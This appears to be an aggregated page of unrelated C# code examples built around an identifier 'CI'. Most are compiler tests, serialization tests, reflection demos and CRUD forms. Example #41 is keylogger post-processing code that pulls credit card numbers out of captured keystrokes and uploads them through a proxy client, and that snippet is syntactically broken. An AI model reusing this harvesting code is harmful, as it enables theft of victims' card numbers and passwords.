Example #1
0
    static int Main()
    {
        int res;

        res = TestNullable();
        if (res != 0)
        {
            return(100 + res);
        }

        res = TestArray();
        if (res != 0)
        {
            return(200 + res);
        }

        res = TestReferenceType();
        if (res != 0)
        {
            return(300 + res);
        }

        CI ci = null;

        res = TestGeneric <CI> (ci);
        if (res != 0)
        {
            return(400 + res);
        }

        Console.WriteLine("ok");
        return(0);
    }
        public void Properties()
        {
            var time = new DateTime(2013, 03, 27, 10, 00, 00);
            //time.Subtract(new DateTime(1970, 01, 01, 0, 0, 0)).TotalSeconds
            var item = new CI {
                AlteredPermissions = N2.Security.Permission.ReadWrite, AncestralTrail = "/1/", ChildState = N2.Collections.CollectionState.ContainsPublicParts, Created = time, Expires = time, ID = 2, Name = "hello-world", Published = time, SavedBy = "theboyz", SortOrder = 666, State = ContentState.Waiting, TemplateKey = "1234", Title = "Hello World", TranslationKey = 5678, VersionIndex = 222, Visible = false, ZoneName = "HelloZone", Updated = time
            };

            var result = item.ToJson();

            //var jsDatetime = new JavaScriptSerializer().Serialize(time);
            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Title"].ShouldBe("Hello World");
            deserialized["AlteredPermissions"].ShouldBe((int)N2.Security.Permission.ReadWrite);
            deserialized["AncestralTrail"].ShouldBe("/1/");
            deserialized["ChildState"].ShouldBe((int)N2.Collections.CollectionState.ContainsPublicParts);
            //deserialized["Created"].ShouldBe(jsDatetime);
            //deserialized["Expires"].ShouldBe(jsDatetime);
            deserialized["ID"].ShouldBe(2);
            deserialized["Name"].ShouldBe("hello-world");
            //deserialized["Published"].ShouldBe(time);
            deserialized["SavedBy"].ShouldBe("theboyz");
            deserialized["SortOrder"].ShouldBe(666);
            deserialized["State"].ShouldBe((int)ContentState.Waiting);
            deserialized["TemplateKey"].ShouldBe("1234");
            deserialized["Title"].ShouldBe("Hello World");
            deserialized["TranslationKey"].ShouldBe(5678);
            deserialized["VersionIndex"].ShouldBe(222);
            deserialized["Visible"].ShouldBe(false);
            deserialized["ZoneName"].ShouldBe("HelloZone");
            deserialized["Updated"].ShouldBe(time);
        }
    static int TestIndexerAccess()
    {
        CI  ci = null;
        var v  = ci? ["x"];

        if (v != null)
        {
            return(1);
        }

        var v2 = ci? [0];

        if (v2 != null)
        {
            return(2);
        }

        var v3 = ci? [0].GetHashCode() ?? 724;

        if (v3 != 724)
        {
            return(3);
        }

// TODO: Disabled for now?
//       ci? [0] += 3;
        return(0);
    }
Example #4
0
        void AcceptInfo(object obj)
        {
            Socket socket = obj as Socket;

            while (true)
            {
                try
                {
                    Socket tSocket = socket.Accept();
                    string point   = tSocket.RemoteEndPoint.ToString();
                    System.Console.WriteLine(point);
                    CI temp = new CI();
                    temp.iScoket = tSocket;
                    listClient.Add(point, temp);
                    Thread th = new Thread(ReceiveMsg);
                    th.IsBackground = true;
                    th.Start(tSocket);
                    richTextBox1.AppendText("客户端" + tSocket.RemoteEndPoint.ToString() +
                                            "已连接" + System.Environment.NewLine);
                    counter++;
                }catch (Exception ex)
                {
                    MessageBox.Show(ex.Message);
                }
            }
        }
Example #5
0
        /// <summary>
        /// Serializes a nullable enumerated value.
        /// </summary>
        public NullableEnumSerializer(Type EnumType)
        {
            this.enumType    = EnumType;
            this.genericType = typeof(Nullable <>).MakeGenericType(this.enumType);
            this.constructor = null;

            foreach (ConstructorInfo CI in this.genericType.GetTypeInfo().DeclaredConstructors)
            {
                ParameterInfo[] P = CI.GetParameters();
                if (P.Length == 1 && P[0].ParameterType == this.enumType)
                {
                    this.constructor = CI;
                    break;
                }
            }

            if (this.constructor is null)
            {
                throw new ArgumentException("Generic nullable type lacks required constructor.", nameof(EnumType));
            }

            this.valueProperty = this.genericType.GetRuntimeProperty("Value");
            if (this.valueProperty is null)
            {
                throw new ArgumentException("Generic nullable type lacks required Value property.", nameof(EnumType));
            }
        }
Example #6
0
        private void Button1_Click(object sender, EventArgs e)
        {
            Init();
            if (bankNamecomboBox.Text == "Sonali")
            {
                interestRate = percent(8);
            }
            else if (bankNamecomboBox.Text == "Brack")
            {
                interestRate = percent(5);
            }
            else if (bankNamecomboBox.Text == "DBBL")
            {
                interestRate = percent(7);
            }
            else if (bankNamecomboBox.Text == "HSBC")
            {
                interestRate = percent(6);
            }

            totalInterest                = balance * year * interestRate;
            totalInterestWithCapital     = balance + totalInterest;
            totalInterestWithCapBox.Text = totalInterestWithCapital.ToString();
            output(totalInterest);

            float CI;
            float q = 1 + interestRate;

            CI = (float)balance * (float)Math.Pow(q, year);
            totalCycleInterest = CI - balance;

            totalCycleInterestBox.Text        = totalCycleInterest.ToString();
            totalCycleInterestWIthCapBox.Text = CI.ToString();
        }
        public bool submitCI(CI aCI, int softwareID)
        {
            bool value;

            //Changed to bool to indicate whether insert was a success.
            using (SqlConnection connect = new SqlConnection(_connectionString))
            {
                using (SqlCommand command = new SqlCommand("usp_Insert_NewConfigItem", connect))
                {
                    connect.Open();
                    command.CommandType = CommandType.StoredProcedure;
                    command.Parameters.AddWithValue("@SoftwareID", softwareID);
                    command.Parameters.AddWithValue("@Name", aCI.Name);
                    command.Parameters.AddWithValue("@Revision", aCI.Revision);
                    command.Parameters.AddWithValue("@Date", aCI.Date);
                    command.Parameters.AddWithValue("@Description", aCI.Description);
                    command.Parameters.AddWithValue("@Location", aCI.Location);

                    int success = command.ExecuteNonQuery();
                    if (success > 0)
                    {
                        value = true;
                    }
                    else
                    {
                        value = false;
                    }
                }
            }


            return(value);
        }
Example #8
0
        /// <summary>
        /// 1. Our objective is to be able to print out all the of classes, attributes, methods, etc within this namespace. The way to do this is by using
        /// reflection. Reflection is inspecting an assemblies' (.exe for console application and .dll for web-based) metadata at runtime. A real world
        /// example of this is when you are creating a console application, there is a little properties menu that shows up and displays a buttons'
        /// properties, it is done using this.
        /// </summary>
        public static void Main()
        {
            Type T = Type.GetType("reflection.customer");

            //Type T = typeof(customer);
            Console.WriteLine("Full name = {0}", T.FullName);
            Console.WriteLine("name = {0}", T.Name);
            Console.WriteLine("namespace = {0}", T.Namespace);
            Console.WriteLine();

            Console.WriteLine("Properties:");
            PropertyInfo[] properties = T.GetProperties();
            foreach (PropertyInfo PI in properties)
            {
                Console.WriteLine(PI.PropertyType.Name + " " + PI.Name);
                Console.WriteLine(PI.Attributes);
            }

            Console.WriteLine();
            Console.WriteLine("Methods:");
            MethodInfo[] methods = T.GetMethods();
            foreach (MethodInfo MI in methods)
            {
                Console.WriteLine(MI.ReturnType + " " + MI.Name);
            }

            Console.WriteLine();
            Console.WriteLine("Constructors:");
            ConstructorInfo[] consturctorinfo = T.GetConstructors();
            foreach (ConstructorInfo CI in consturctorinfo)
            {
                Console.WriteLine(CI.ToString());
            }
        }
Example #9
0
        private void btnDiscoverTypeInfo_Click(object sender, EventArgs e)
        {
            string TypeName = txtTypeName.Text;
            Type   T        = Type.GetType(TypeName);

            lstMethods.Items.Clear();
            lstProperties.Items.Clear();
            lstConstructors.Items.Clear();

            MethodInfo[] methods = T.GetMethods();
            foreach (MethodInfo MI in methods)
            {
                lstMethods.Items.Add(MI.ReturnType.Name + " " + MI.Name);
            }

            PropertyInfo[] properties = T.GetProperties();
            foreach (PropertyInfo PI in properties)
            {
                lstProperties.Items.Add(PI.PropertyType.Name + " " + PI.Name);
            }

            ConstructorInfo[] constructors = T.GetConstructors();
            foreach (ConstructorInfo CI in constructors)
            {
                lstConstructors.Items.Add(CI.ToString());
            }
        }
Example #10
0
    public void CycleDay()
    {
        Jour = !Jour;

        if (Jour)
        {
            /* SphereTest.SetActive(true);
             * Cubetest.GetComponent<Animation>().Stop();*/

            foreach (CycleItem CI in _cycleItems)
            {
                CI.Cycle();
            }
            if (!FaisceauOK)
            {
                faisceau.SetActive(true);
            }

            Lumiere.intensity = 7;
        }
        else
        {
            /* Cubetest.GetComponent<Animation>().Play(Cubetest.GetComponent<Animation>().clip.name);
             * SphereTest.SetActive(false);*/
            foreach (CycleItem CI in _cycleItems)
            {
                CI.Cycle();
            }
            faisceau.SetActive(false);

            Lumiere.intensity = 4;
        }
        Paupiere.color = new Color(Paupiere.color.r, Paupiere.color.g, Paupiere.color.b, 1);
        ChronoCycle    = TimerJourNuit;
    }
Example #11
0
        public async Task <ActionResult> DeleteConfirmed(int id)
        {
            CI cI = await db.CI.FindAsync(id);

            db.CI.Remove(cI);
            await db.SaveChangesAsync();

            return(RedirectToAction("Index"));
        }
Example #12
0
        /// <summary>
        /// Maintains a set of serializers.
        /// </summary>
        /// <param name="Context">Serialization context.</param>
        public SerializerCollection(ISerializerContext Context)
#endif
        {
            this.context     = Context;
            this.serializers = new Dictionary <Type, IObjectSerializer>();
#if NETSTANDARD1_5
            this.compiled = Compiled;
#endif

            ConstructorInfo   DefaultConstructor;
            IObjectSerializer S;
            TypeInfo          TI;

            foreach (Type T in Types.GetTypesImplementingInterface(typeof(IObjectSerializer)))
            {
                TI = T.GetTypeInfo();
                if (TI.IsAbstract || TI.IsGenericTypeDefinition)
                {
                    continue;
                }

                DefaultConstructor = null;

                try
                {
                    foreach (ConstructorInfo CI in TI.DeclaredConstructors)
                    {
                        if (CI.IsPublic && CI.GetParameters().Length == 0)
                        {
                            DefaultConstructor = CI;
                            break;
                        }
                    }

                    if (DefaultConstructor is null)
                    {
                        continue;
                    }

                    S = DefaultConstructor.Invoke(Types.NoParameters) as IObjectSerializer;
                    if (S is null)
                    {
                        continue;
                    }
                }
                catch (Exception)
                {
                    continue;
                }

                this.serializers[S.ValueType] = S;
            }

            this.serializers[typeof(GenericObject)] = new GenericObjectSerializer(this.context, false);
            this.serializers[typeof(object)]        = new GenericObjectSerializer(this.context, true);
        }
Example #13
0
        public async Task <ActionResult> Edit([Bind(Include = "Id,Nombre,Cedula,Correo,FechaIngreso")] CI cI)
        {
            if (ModelState.IsValid)
            {
                db.Entry(cI).State = EntityState.Modified;
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }
            return(View(cI));
        }
Example #14
0
 private void btnSubmitCI_Click(object sender, EventArgs e)
 {
     var Obj = new CI()
     {
         Name = txtCIName.Text,
         Date = Convert.ToString(CIDate.Value.Date),
         Revision = txtCIRevision.Text,
         Location = txtCILocation.Text,
         Description = txtCIInfoCI.Text,
     };
 }
Example #15
0
 private void Task_OnBuiledFailed(object sender, CI.Runner.EventArgs.BuildFailedArgs args)
 {
     var task = sender as CI.Runner.CITask;
     Client.PostAsync("/api/Runner/Failed", new FormUrlEncodedContent(new Dictionary<string, string>
     {
         { "id", task.Identifier.ToString() }
     })).Wait();
     cacheStr.Remove(task.Identifier);
     cacheTime.Remove(task.Identifier);
     GC.Collect();
 }
Example #16
0
        public async Task <ActionResult> Create([Bind(Include = "Id,Nombre,Cedula,Correo,FechaIngreso")] CI cI)
        {
            if (ModelState.IsValid)
            {
                db.CI.Add(cI);
                await db.SaveChangesAsync();

                return(RedirectToAction("Index"));
            }

            return(View(cI));
        }
        public void Details()
        {
            var item = new CI();

            item["Hello"] = "World";

            var result = item.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Hello"].ShouldBe("World");
        }
        public void DetailCollections()
        {
            var item = new CI();

            item.GetDetailCollection("Hello", true).Add("World");

            var result = item.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Hello"].ShouldBe(new[] { "World" });
        }
Example #19
0
        // GET: CIs/Delete/5
        public async Task <ActionResult> Delete(int?id)
        {
            if (id == null)
            {
                return(new HttpStatusCodeResult(HttpStatusCode.BadRequest));
            }
            CI cI = await db.CI.FindAsync(id);

            if (cI == null)
            {
                return(HttpNotFound());
            }
            return(View(cI));
        }
Example #20
0
        public void CircularGraph()
        {
            var parent = new CI { Title = "parent" };
            var child = new CI { Title = "child" };
            child.AddTo(parent);

            var result = parent.ToJson();

            result.ShouldContain("\"Title\":\"parent\"");
            result.ShouldContain("\"Title\":\"child\"");
            result.ShouldContain("\"Parent\":null");
            result.ShouldNotContain("\"Parent\":{");
            result.ShouldContain("\"Children\":[{");
        }
        private CI CreateInvoiceObject()
        {
            try
            {
                CI invoice = new CI();
                invoice.InvoiceNo       = string.Empty;
                invoice.CreatedBy       = m_UserID;
                invoice.CustomerOrderNo = m_Order.CustomerOrderNo;
                invoice.InvoiceAmount   = m_Order.OrderAmount;
                invoice.DistributorId   = m_Order.DistributorId;
                invoice.PCId            = m_Order.PCId;
                //invoice.InvoiceDate = DateTime.Today.ToString(Common.DATE_TIME_FORMAT);
                invoice.BOId = m_Order.BOId;
                //to check
                invoice.InvoicePrinted = false;
                invoice.IsProcessed    = 0;
                invoice.LogNo          = m_Order.LogNo;
                invoice.ModifiedBy     = m_UserID;
                invoice.ModifiedDate   = DateTime.Today.ToString();
                invoice.StaffId        = m_UserID;
                invoice.Status         = 1;
                invoice.TINNo          = Common.TINNO; // ConfigurationManager.AppSettings["TINNO"];
                invoice.CIDetailList   = new List <CIDetail>();

                foreach (CODetail detail in CODetailList)
                {
                    CIDetail ciDetail = new CIDetail();
                    ciDetail.ItemCode = detail.ItemCode;
                    ciDetail.ItemId   = detail.ItemId;
                    var query = from q in ListBatch where q.ItemId == detail.ItemId && q.RecordNo == detail.RecordNo select q;
                    if (query != null)
                    {
                        ciDetail.CIBatchList = query.ToList();
                    }
                    foreach (CIBatchDetail batch in ciDetail.CIBatchList)
                    {
                        batch.RecordNo   = detail.RecordNo;
                        batch.CreatedBy  = m_UserID;
                        batch.ModifiedBy = m_UserID;
                    }
                    invoice.CIDetailList.Add(ciDetail);
                }
                return(invoice);
            }
            catch (Exception ex)
            {
                throw ex;
            }
        }
Example #22
0
        private void Client_OnClientUpdated(object sender, ClientInfo e)
        {
            Dispatcher.Invoke(delegate
            {
                foreach (ClientInfo CI in lstClients.Items)
                {
                    if (CI.ID == e.ID)
                    {
                        CI.Update(e);
                    }
                }

                RefreshDetails();
            });
        }
Example #23
0
    static int TestProperty()
    {
        CI ci = null;

        var m1 = ci?.Prop;
        var m2 = ci?.PropNullable;
        var m3 = ci?.PropReference;

        var m4 = ci?.Prop.ToString() ?? "N";

        if (m4 != "N")
        {
            return(1);
        }

        var m5 = ci?.PropNullable.ToString() ?? "N";

        if (m5 != "N")
        {
            return(2);
        }

        var m6 = ci?.PropReference.ToString() ?? "N";

        if (m6 != "N")
        {
            return(3);
        }

//        ci?.Prop = 6;

        ci = new CI();
        m1 = ci?.Prop;
        m2 = ci?.PropNullable;
        m3 = ci?.PropReference;

//        ci?.Prop = 5;
//        if (ci.Prop != 5)
//            return 1;

// TODO: It's not allowed for now
//      ci?.Prop += 4;
//      var pp1 = ci?.Prop = 4;
//      var pp2 = ci?.Prop += 4;

        return(0);
    }
Example #24
0
        private void btnSubmitCI_Click(object sender, EventArgs e)
        {
            if (txtCIName.Text != String.Empty && txtCIRevision.Text != String.Empty)
            {
                var Obj = new CI()
                {
                    ID                                     = _CI.ID != null?Convert.ToInt32(_CI.ID) : 0,
                                               Name        = txtCIName.Text.Trim(),
                                               Date        = Convert.ToString(CIDate.Value.Date),
                                               Revision    = txtCIRevision.Text.Trim(),
                                               Location    = txtCILocation.Text.Trim(),
                                               Description = txtCIInfoCI.Text.Trim(),
                };

                AttributeControl attributeControl = new AttributeControl();

                if (_update)
                {
                    if (attributeControl.updateConfigItem(Obj))
                    {
                        MessageBox.Show("ConfigItem updated", "Success", MessageBoxButtons.OK);
                        this.Close();
                    }
                    else
                    {
                        MessageBox.Show("An error occured while updating", "ERROR", MessageBoxButtons.OK);
                        this.Close();
                    }
                }
                else
                {
                    if (attributeControl.submitCI(Obj, _softwareID))
                    {
                        MessageBox.Show("ConfigItem added", "Success", MessageBoxButtons.OK);
                        this.Close();
                    }
                    else
                    {
                        MessageBox.Show("An error occured while updating", "ERROR", MessageBoxButtons.OK);
                    }
                }
            }
            else
            {
                MessageBox.Show("Name and Revision fields cannot be empty", "ERROR", MessageBoxButtons.OK);
            }
        }
 public frmInvoice(string orderNo, string logNo)
 {
     try
     {
         InitializeComponent();
         m_UserID      = Authenticate.LoggedInUser.UserId;
         m_LocationID  = Common.CurrentLocationId;
         ErrorCode     = string.Empty;
         InvoiceNo     = string.Empty;
         ReturnMessage = string.Empty;
         OrderNo       = orderNo;
         LogNo         = logNo;
         if (string.IsNullOrEmpty(orderNo) && string.IsNullOrEmpty(LogNo))
         {
             ErrorCode = "40010";
         }
         else
         {
             if (LogNo.Equals(string.Empty))
             {
                 InitailizeControls();
             }
             else
             {
                 CI        invoice     = new CI();
                 string    error       = string.Empty;
                 DataTable dtItems     = new DataTable();
                 bool      isProcessed = invoice.ProcessLog(logNo, m_LocationID, m_UserID, ref error, ref dtItems);
                 if (isProcessed && error.Trim().Equals(string.Empty))
                 {
                     ErrorCode     = string.Empty;
                     ReturnMessage = "8011";
                 }
                 else
                 {
                     ErrorCode = error;
                 }
                 //ProcessLog();
             }
         }
     }
     catch (Exception ex)
     {
         ErrorCode     = "30007";
         ReturnMessage = ex.ToString();
     }
 }
        public void CircularGraph_Parent()
        {
            var parent = new CI {
                ID = 1, Title = "parent"
            };
            var child = new CI {
                ID = 2, Title = "child"
            };

            child.AddTo(parent);

            var result       = parent.ToJson();
            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Title"].ShouldBe("parent");
            deserialized.ContainsKey("Children").ShouldBe(false);
        }
 private bool SaveInvoice(ref string ErrorMessage)
 {
     try
     {
         CI   invoice = CreateInvoiceObject();
         bool IsSave  = invoice.Save(ref ErrorMessage);
         if (IsSave)
         {
             InvoiceNo = invoice.InvoiceNo;
         }
         return(IsSave);
     }
     catch (Exception ex)
     {
         throw ex;
     }
 }
        public void CircularGraph_Child()
        {
            var parent = new CI {
                ID = 1, Title = "parent"
            };
            var child = new CI {
                ID = 2, Title = "child"
            };

            child.AddTo(parent);

            var result       = child.ToJson();
            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Title"].ShouldBe("child");
            deserialized["Parent"].ShouldBe(1);
        }
Example #29
0
        /// <summary>
        /// Start or stop decryption.
        /// </summary>
        /// <param name="serviceIdentifier">May be <i>0</i> to stop decryption. Normally
        /// this will be the service identifier for the program to decrypt.</param>
        public void Decrypt(ushort serviceIdentifier)
        {
            // Start if needed
            if (serviceIdentifier == 0)
            {
                return;
            }

            // Access CI once
            if (CI.IsIdle)
            {
                CI.Open();
            }

            // Start decryption
            CI.Decrypt(serviceIdentifier);
        }
        public void DetailCollections_Link()
        {
            var first = new CI {
                ID = 1, Title = "first"
            };
            var second = new CI {
                ID = 2, Title = "second"
            };

            first.GetDetailCollection("Hello", true).Add(second);

            var result = first.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Hello"].ShouldBe(new[] { 2 });
        }
        public void Details_Link()
        {
            var first = new CI {
                ID = 1, Title = "first"
            };
            var second = new CI {
                ID = 2, Title = "second"
            };

            first["Hello"] = second;

            var result = first.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize <Dictionary <string, object> >(result);

            deserialized["Hello"].ShouldBe(2);
        }
Example #32
0
    static int TestField()
    {
        CI  ci = null;
        var m1 = ci?.Field;
        var m2 = ci?.FieldNullable;
        var m3 = ci?.FieldReference;
        var m4 = ci?.Field.ToString() ?? "N";

        if (m4 != "N")
        {
            return(1);
        }

        var m5 = ci?.FieldNullable.ToString() ?? "N";

        if (m5 != "N")
        {
            return(2);
        }

        var m6 = ci?.FieldReference.ToString() ?? "N";

        if (m6 != "N")
        {
            return(3);
        }

//        ci?.Field = 6;

        ci = new CI();
        m1 = ci?.Field;
        m2 = ci?.FieldNullable;
        m3 = ci?.FieldReference;

//        ci?.Field = 5;
//        if (ci.Field != 5)
//            return 1;

// TODO: It's not allowed for now
//      ci?.Field += 4;
//      var pp1 = ci?.Field = 4;
//      var pp2 = ci?.Field += 4;

        return(0);
    }
Example #33
0
        public void CircularGraph()
        {
            var parent = new CI {
                Title = "parent"
            };
            var child = new CI {
                Title = "child"
            };

            child.AddTo(parent);

            var result = parent.ToJson();

            result.ShouldContain("\"Title\":\"parent\"");
            result.ShouldContain("\"Title\":\"child\"");
            result.ShouldContain("\"Parent\":null");
            result.ShouldNotContain("\"Parent\":{");
            result.ShouldContain("\"Children\":[{");
        }
        private void btnAttrSubmit_Click(object sender, EventArgs e)
        {
            if (chkboxSoftDocAttr.Checked == false)
            {
                var objSoftware = new SoftwareDoc()
                {
                    ID = 1,
                    Name = txtSoftDocNameAttr.Text,
                    Date = Convert.ToString(dateSoftDocAttr.Value.Date),
                    Revision = txtSoftDocRevisionAttr.Text,
                    Location = txtSoftDocLocAttr.Text,
                    Description = txtSoftDocDescAttr.Text,
                };
            }

            if (chkboxCIAttr.Checked == false)
            {
                var objCI = new CI()
                {
                    ID = 1,
                    Name = txtCINameAttr.Text,
                    Date = Convert.ToString(dateCIAttr.Value.Date),
                    Revision = txtCIRevisionAttr.Text,
                    Location = txtCILocAttr.Text,
                    Description = txtCIDesAttr.Text
                };
            }

            if (chkboxCIDocAttr.Checked == false)
            {
                var objCIDoc = new CIDocs()
                {
                    ID = 1,
                    Name = txtCIDocNameAttr.Text,
                    Date = Convert.ToString(dateCIDocAttr.Value.Date),
                    Revision = txtCIRevisionAttr.Text,
                    Location = txtCIDocLocAttr.Text,
                    Description = txtCIDocDesAttr.Text
                };
            }
        }
Example #35
0
	static int TestProperty ()
	{
		CI ci = null;

		var m1 = ci?.Prop;
		var m2 = ci?.PropNullable;
		var m3 = ci?.PropReference;

		var m4 = ci?.Prop.ToString () ?? "N";
		if (m4 != "N")
			return 1;

		var m5 = ci?.PropNullable.ToString () ?? "N";
		if (m5 != "N")
			return 2;

		var m6 = ci?.PropReference.ToString () ?? "N";
		if (m6 != "N")
			return 3; 

//        ci?.Prop = 6;

		ci = new CI ();
		m1 = ci?.Prop;
		m2 = ci?.PropNullable;
		m3 = ci?.PropReference;

//        ci?.Prop = 5;
//        if (ci.Prop != 5)
//            return 1;

// TODO: It's not allowed for now
//      ci?.Prop += 4;
//      var pp1 = ci?.Prop = 4;
//      var pp2 = ci?.Prop += 4;

		return 0;
	}
Example #36
0
	static int TestField ()
	{
		CI ci = null;
		var m1 = ci?.Field;
		var m2 = ci?.FieldNullable;
		var m3 = ci?.FieldReference;
		var m4 = ci?.Field.ToString () ?? "N";
		if (m4 != "N")
			return 1;

		var m5 = ci?.FieldNullable.ToString () ?? "N";
		if (m5 != "N")
			return 2;

		var m6 = ci?.FieldReference.ToString () ?? "N";
		if (m6 != "N")
			return 3; 

//        ci?.Field = 6;

		ci = new CI ();
		m1 = ci?.Field;
		m2 = ci?.FieldNullable;
		m3 = ci?.FieldReference;

//        ci?.Field = 5;
//        if (ci.Field != 5)
//            return 1;

// TODO: It's not allowed for now
//      ci?.Field += 4;
//      var pp1 = ci?.Field = 4;
//      var pp2 = ci?.Field += 4;

		return 0;
	}
Example #37
0
    public InitialI(Ice.ObjectAdapter adapter)
    {
        _adapter = adapter;
        _b1 = new BI();
        _b2 = new BI();
        _c = new CI();
        _d = new DI();
        _e = new EI();
        _f = new FI(_e);

        _b1.theA = _b2; // Cyclic reference to another B
        _b1.theB = _b1; // Self reference.
        _b1.theC = null; // Null reference.

        _b2.theA = _b2; // Self reference, using base.
        _b2.theB = _b1; // Cyclic reference to another B
        _b2.theC = _c; // Cyclic reference to a C.

        _c.theB = _b2; // Cyclic reference to a B.

        _d.theA = _b1; // Reference to a B.
        _d.theB = _b2; // Reference to a B.
        _d.theC = null; // Reference to a C.
    }
Example #38
0
        public void Details()
        {
            var item = new CI();
            item["Hello"] = "World";

            var result = item.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);
            deserialized["Hello"].ShouldBe("World");
        }
Example #39
0
 private void CITask_OnBeginBuilding(object sender, CI.Runner.EventArgs.BeginBuildingArgs args)
 {
     var task = sender as CI.Runner.CITask;
     Client.PostAsync("/api/Runner/BeginBuilding", new FormUrlEncodedContent(new Dictionary<string, string>
     {
         { "id", task.Identifier.ToString() }
     })).Wait();
     GC.Collect();
 }
Example #40
0
 /// <summary>
 /// Handel Send 
 /// </summary>
 /// <param name="ci"></param>
 public void Send(CI ci)
 {
     this.inq.Enqueue(ci);
 }
Example #41
0
        ///<summary>
        ///This reads through the keylog file and attempts to extract data
        ///</summary>
        static void Main(string[] args)
        {
            // The path of the keylog file
            string path = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\keylog";
            // The new file that holds the extracted data
            string newFile = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\data";

            // Read the file
            KeyPressBuffer kpb = new KeyPressBuffer(path);

            // Counter for credit card
            int creditCard = 0;
            String creditNum = "";

            // Boolean for login-password credentials
            bool passwordWindow;
            String password = "";

            // Write the information to the stream, goes through each keypress
            StreamWriter o = new StreamWriter(newFile);
            HookKeylogger.UploadProxy.UploadProxyClient client = new HookKeylogger.UploadProxy.UploadProxyClient();
            foreach (KeyPress ks in kpb.Keys)
            {
                Console.WriteLine("Processing: " + (Keys)ks.Key);
                // Looks for a credit card number, ie 16 consecutive digits
                // A number is between 48 and 57. If there is a match, the count
                // is incremented and the number is added to string. Otherwise
                // the count is reset to 0 and the string is cleared
                if(ks.Key > 47 && ks.Key < 58)
                {
                    creditCard += 1;
                    creditNum += (Keys)ks.Key;
                    if (creditCard % 4 == 0)
                    {
                        creditNum += " ";
                    }
                }
                else
                {
                    creditCard = 0;
                    creditNum = "";
                }
                // If there are a total of 16 consecutive numbers, the credit card
                // number is sent to the file
                if(creditCard == 16)
                {
                    o.WriteLine("Credit Card Number: " + creditNum);
                    creditCard = 0;
                    // Send a Confidential Information message to the proxy server
                    // Type Credit Card Number CCN
                    var ci = new CI();
                    ci.Type = "CCN";
                    ci.Data = creditNum;
                    Console.WriteLine("DATA: " + ci.Data);
                    client.SendCi(ci);

                    creditNum = "";
                }
                Console.WriteLine("Hello");
                if (ks.ActiveProgram)
                {
                    return buffer.ToString() + " PswdFld";
                }
            }
            o.Close();
            client.close();
        }
Example #42
0
        private void Task_OnOutputReceived(object sender, CI.Runner.EventArgs.OutputReceivedEventArgs args)
        {
            var task = sender as CI.Runner.CITask;
            var id = task.Identifier;
            if (!cacheStr.Keys.Contains(id))
                cacheStr[id] = args.Output;
            if (!cacheTime.Keys.Contains(id))
                cacheTime[id] = DateTime.Now;
            cacheStr[id] += args.Output;
            Task.Factory.StartNew(async () =>
            {
                Thread.Sleep(2000);
                if (cacheTime[id].AddSeconds(2) > DateTime.Now)
                {
                    return;
                }
                else
                {
                    cacheTime[id] = DateTime.Now;
                    var tmp = cacheStr[id];
                    cacheStr[id] = "";

                    var result = await Client.PostAsync("/api/Runner/Output", new FormUrlEncodedContent(new Dictionary<string, string>
                    {
                        { "id", id.ToString() },
                        { "text", tmp }
                    }));
                    Console.WriteLine($"向服务器反馈输出文本 {result.StatusCode}");
                }
            });
        }
Example #43
0
        public void DetailCollections()
        {
            var item = new CI();
            item.GetDetailCollection("Hello", true).Add("World");

            var result = item.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);
            deserialized["Hello"].ShouldBe(new[] { "World" });
        }
Example #44
0
        public void DetailCollections_Link()
        {

            var first = new CI { ID = 1, Title = "first" };
            var second = new CI { ID = 2, Title = "second" };

            first.GetDetailCollection("Hello", true).Add(second);

            var result = first.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);
            deserialized["Hello"].ShouldBe(new[] { 2 });
        }
Example #45
0
        public void Details_Link()
        {
            var first = new CI { ID = 1, Title = "first" };
            var second = new CI { ID = 2, Title = "second" };

            first["Hello"] = second;

            var result = first.ToJson();

            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);
            deserialized["Hello"].ShouldBe(2);
        }
Example #46
0
 private void CITask_OnTestCaseFound(object sender, CI.Runner.EventArgs.TestCaseArgs args)
 {
     var task = sender as CI.Runner.CITask;
     Client.PostAsync("/api/Runner/PushTestCase", new FormUrlEncodedContent(new Dictionary<string, string>
     {
         { "id", task.Identifier.ToString() },
         { "time", args.Time.ToString() },
         { "result", args.Result },
         { "title", args.Title },
         { "method", args.Method }
     })).Wait();
     GC.Collect();
 }
Example #47
0
        public void Properties()
        {
            var time = new DateTime(2013, 03, 27, 10, 00, 00);
            //time.Subtract(new DateTime(1970, 01, 01, 0, 0, 0)).TotalSeconds
            var item = new CI { AlteredPermissions = N2.Security.Permission.ReadWrite, AncestralTrail = "/1/", ChildState = N2.Collections.CollectionState.ContainsPublicParts, Created = time, Expires = time, ID = 2, Name = "hello-world", Published = time, SavedBy = "theboyz", SortOrder = 666, State = ContentState.Waiting, TemplateKey = "1234", Title = "Hello World", TranslationKey = 5678, VersionIndex = 222, Visible = false, ZoneName = "HelloZone", Updated = time };

            var result = item.ToJson();

            //var jsDatetime = new JavaScriptSerializer().Serialize(time);
            var deserialized = new JavaScriptSerializer().Deserialize<Dictionary<string, object>>(result);
            deserialized["Title"].ShouldBe("Hello World");
            deserialized["AlteredPermissions"].ShouldBe((int)N2.Security.Permission.ReadWrite);
            deserialized["AncestralTrail"].ShouldBe("/1/");
            deserialized["ChildState"].ShouldBe((int)N2.Collections.CollectionState.ContainsPublicParts);
            //deserialized["Created"].ShouldBe(jsDatetime);
            //deserialized["Expires"].ShouldBe(jsDatetime);
            deserialized["ID"].ShouldBe(2);
            deserialized["Name"].ShouldBe("hello-world");
            //deserialized["Published"].ShouldBe(time);
            deserialized["SavedBy"].ShouldBe("theboyz");
            deserialized["SortOrder"].ShouldBe(666);
